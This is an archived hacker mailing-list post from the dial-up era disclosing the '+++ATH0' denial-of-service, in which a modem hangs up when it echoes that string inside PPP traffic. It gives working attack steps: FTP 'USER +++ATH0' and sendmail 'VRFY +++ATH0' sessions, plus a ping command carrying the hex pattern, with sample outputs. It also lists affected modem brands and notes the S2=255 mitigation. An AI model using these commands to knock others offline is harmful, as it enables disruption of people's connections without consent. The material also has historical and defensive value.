+++ATH0 Prepared by Noc-Wage (Max Schau, M.C.S.R) Brought to you by the wonderful people of #hackers undernet and M.C.S.R All OS's using a dial-up connection are at risk. ***NOTE*** This is an old exploit, but there has been nothing done to get rid of it, so maybe bringing it to everyone's attention (as I am not aware of a "formal" release explaining the exploit exsisting) might get something done, or atleast raise awareness. ***NOTE*** Originally brought to my attention by nak, and maffew "s2=255 Fix" brought to my attention by SuiDRoot and Sygma within minutes of each other. (I overlooked checking modem manuals) Also thanks to Defraz, DrSmoke and zerox (swab) for allowing me to bounce ideas off them and for contributing ideas to the project. Thanks go out to the rest of the people in #hackers for allowing me to keep bugging them about various standards and other boring things. Maybe this will even make you remember the good old days of the 80s-early 90s and BBS's ;) Most modems today follow the Hayes Command set (ATZ, ATDT, ATH0..) Unfortunately the way that these modems handle certain strings leaves them susceptible to a specific type of DoS attack. By forcing the victim to respond with the string "+++ATH0" many brands of modems will interpret the +++ATH0 as the user manually attempting to enter command mode and execute a command. Because of this, when the victim attempts to respond with the +++ATH0 the modem sees it within the IP datagram and hangs up the modem. **Not all modems are effected** Some, such as the U.S. Robotics, 33.6 type modems require that there be a pause of a about a second where no text is sent preceding the +++ before going into command mode. This makes it impossible to force the modem to hang up since there is no way to get the victim machine to reply with +++ without data immediately following. This is because PPP Frames have data after the IP datagram, so if you some how managed to make the victim reply with a damaged IP datagram that had +++ as the last three values, the following end of the PPP frame would be the data which made the modem ignore the +++. An example of a possible attack follows: (IP addresses have been changed for obvious reasons) [wage@koroshiya /]$ telnet 192.168.1.1 21 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. 220 foo FTP server (Version wu-2.4.2-academ[BETA-15](1) Fri Dec 12 20:41: USER +++ATH0 ^] telnet> close Connection closed. [wage@koroshiya wage]$ telnet 192.168.1.1 21 Trying 192.168.1.1... telnet: Unable to connect to remote host: Network is unreachable [wage@koroshiya wage]$ Modems known to be affected: Logicode 28.8 Supra 33.6 (internal) Diamond Supra v.90 Many more but this is all we had available. All of the USR modems we tested against were not effected, but most other brands ARE. On some machines the process (such as ftpd or sendmail) which the attacker connected too does not realise the connection has been lost, this can result on a seemingly random disconnect after reconnecting. PPP does NOT compress the IP datagram by default, thus the ip datagram contained within the PPP frame will be exactly the same. Thus if the IP datagram contains "+++ATH0" the modem will receive the string exactly as such. Two ways to cause the victim to "send" you the +++ATH0 are to: 1) Connect to sendmail (does not work with qmail) do "HELO blah.com" Then type "VRFY +++ATH0", normally it would say: 550 +++ATH0... User unknown, but because their modem interprets the +++ATH0 the modem is hung up. 2) Connect to FTP and type "USER +++ATH0". Normally it would respond: 331 Password required for +++ATH0. But because the modem sees the +++ATH0 it disconnects. As you can see it is very simple, and millions of different ways can easily be found to generate the same result. For the sake of annoying script kiddies I'm not going to put the wonderful IRC command, but if you use your brain you can figure it out easy enough. Of course, this attack is very similar to a pipe bomb. Sometimes it works, sometimes it doesn't, and sometimes it blows up in your face. If your modem is effected by this attack then that means that if you try and attack there is a chance you will be disconnected. When you send the +++ATH0 your modem will ALSO see it. There are ways around this such as attacking from server on a connection such a ISDN, cable modem... To protect yourself add in your modem initialization string "s2=255" which will disable the modem's ability to go into command mode. (Can cause problems for some people). What s2 does is change the character which is used to enter command mode. Normally any value over 127 disables the ability to manually enter command mode but in some cases it requires a higher number, to be sure just put 255. Greetings go out to: Humble (horizon), Hey! e-mail me! Colon\\`Q in #hackers: SuIDRoot, halt, EpiC, DrSmoke, Defraz, WorldWide(did I forget?), iCBM, trix, anacarda, nak, swab/zerox, awgn #snickers: Sygma, Sheenie, RedBull, n`tropy, un-saad, Hole(Geez, you'd think I won an Oscar) From my home town of Milton: AsH, Nullifier(Alex H.) MCSR: AsH, CONGO Now following is MrPhoenix's way of getting the same result WITHOUT needing to connect. He uses PING packets to get the same result of forcing the victim to respond with the string. Here is what he sent me: +++ATH0 Ping exploit Ping modem killer by MrPhoenix (phoenixat_private). This is a simple exploit for the +++ATH0 bug contained in Noc-Wage's post. Affected: All modems w/o the requirement of a 500msec or more idle period after the +++ command, connected with a PPP connection w/o encryption/compression. Some ways of making a modem to hung up were introduced by Noc-Wage by using the sendmail or ftp daemon, or even an IRC connection. But there is a simplest way without requiring the existence of an active daemon or an IRC connection. You can send an ICMP ECHO_REQUEST to the target to elicit an ICMP ECHO_RESPONSE, and fill the packet with the +++ATH0<CR> characters. The <CR> might help in some modems which require the ATH0 command to be followed by carriage return. So the target gets the ICMP ECHO_REQUEST and sends the ICMP ECHO_REPLY to you with the same data of the ICMP ECHO_REQUEST packet. This way the modem reads the +++, goes to command mode, then reads the command ATH0, and closes the connection. To make the above happen you can either make your own program to send the required packet, or use the ping program with the *wonderful* option "-p" with which you can specify up to 16 bytes to fill out the packet to send. The "-p" option requires the pattern to be entered in hex digits. The equivalent of the '+++ATH0<CR>' string in hex is: 2b2b2b415448300d . The complete command is : ping -p 2b2b2b415448300d <target> *NOTE*: The "-p" option is not supported by the"ping" program from Microsoft shiped with MS-Windows. Here is an example: [root@narf ath0]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx PATTERN: 0x2b2b2b415448300d PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes --- xxx.xxx.xxx.xxx ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss [root@narf ath0]# That's what you'll get if it modem closes the connection. I send 5 packets just to make sure because sometimes 1-2 packets might not work. Here is what you'll get if the bug doesn't work: [root@narf ath0]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx PATTERN: 0x2b2b2b415448300d PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=252 time=182.4 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=252 time=190.1 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=252 time=190.1 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=252 time=190.1 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=4 ttl=252 time=180.1 ms --- xxx.xxx.xxx.xxx ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 180.1/186.5/190.1 ms [root@narf ath0]# To protect yourself you can disable the +++ command by setting the S2 register to 255 (the easy way), or by patching your kernel to drop the incoming packets containing the "+++ATH0" string (the hard way). Greetings to: everybody in #grhack, zerox who helped me find this exploit, Noc-Wage, nac, maffew and everybody else in #hackers all the Greek hackers.
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:17:53 PDT